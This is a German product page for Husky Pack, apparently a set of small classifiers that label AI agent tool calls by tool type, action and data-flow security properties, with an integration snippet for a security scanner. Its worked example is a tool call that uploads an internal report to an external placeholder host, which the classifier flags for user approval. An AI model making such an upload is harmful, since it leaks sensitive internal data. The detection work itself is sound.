- Apache 2.0
- 3 Modelle
Husky Pack
Tool-Aufrufe
Drei Modelle beschreiben einen Tool-Aufruf: Husky Sight den Tool-Typ, Husky Paw die Aktion, Husky Nose die Security-Eigenschaften des Datenflusses.
patronus-studio/husky-nose-tool-security-properties-classifierSteckbrief.
Aufgabe
Tool- und Agent-Risiken
Tool-Aufrufe, Agent-Schritte und Shell-Befehle bewerten
Signal
sink:external · source:sensitive
- Parameter
- 0,1B Parameter je Modell
- Basis
- mmBERT-small
- Evaluation
- Husky Nose: Macro-F1 0,965 auf dem Held-out-Test (2.914 Beispiele, Multi-Label).
- Formate
- Safetensors FP32 · ONNX FP16 · Edge-Builds INT8, INT8 mit INT4-Embeddings und FP16
- Varianten und Nachbarn
Husky Sight Tool-Typ, zum Beispiel file, shell, web oder database.
Husky Paw Aktion: read, write, list, exec oder network.
Husky Nose Security-Eigenschaften: source:sensitive, source:untrusted, sink:external.
- Lizenz
- Apache 2.0
- Hugging Face
patronus-studio/husky-nose-tool-security-properties-classifier
So arbeitet Husky Pack.
Eingang
Tool-Aufruf: http.post(url: "https://extern.example/upload", body: bericht_intern.pdf)
Ausgang
Regel der Anwendung: Freigabe durch den Nutzer anfordern
Evaluation.
Modellkarte mit Protokoll0,965
Husky Nose: Macro-F1 0,965 auf dem Held-out-Test (2.914 Beispiele, Multi-Label).
Einbauen.
Patronus Ark lädt das Modell und führt es auf der CPU aus. Den Quickstart mit Transformers oder ONNX Runtime zeigt die Modellkarte.
pip install patronus-ark
from patronus_ark import SecurityGateway
scanner = SecurityGateway(
categories=["injection", "dlp", "pii"], max_level="l2",
)
scanner.warmup()
scanner.enqueue("Text to inspect")
while (event := scanner.consume_next_event(timeout=1.0)) is not None:
if event["event_type"] == "result":
r = event["result"]
print(r["category"], r["class_name"], r["confidence"])
else:
break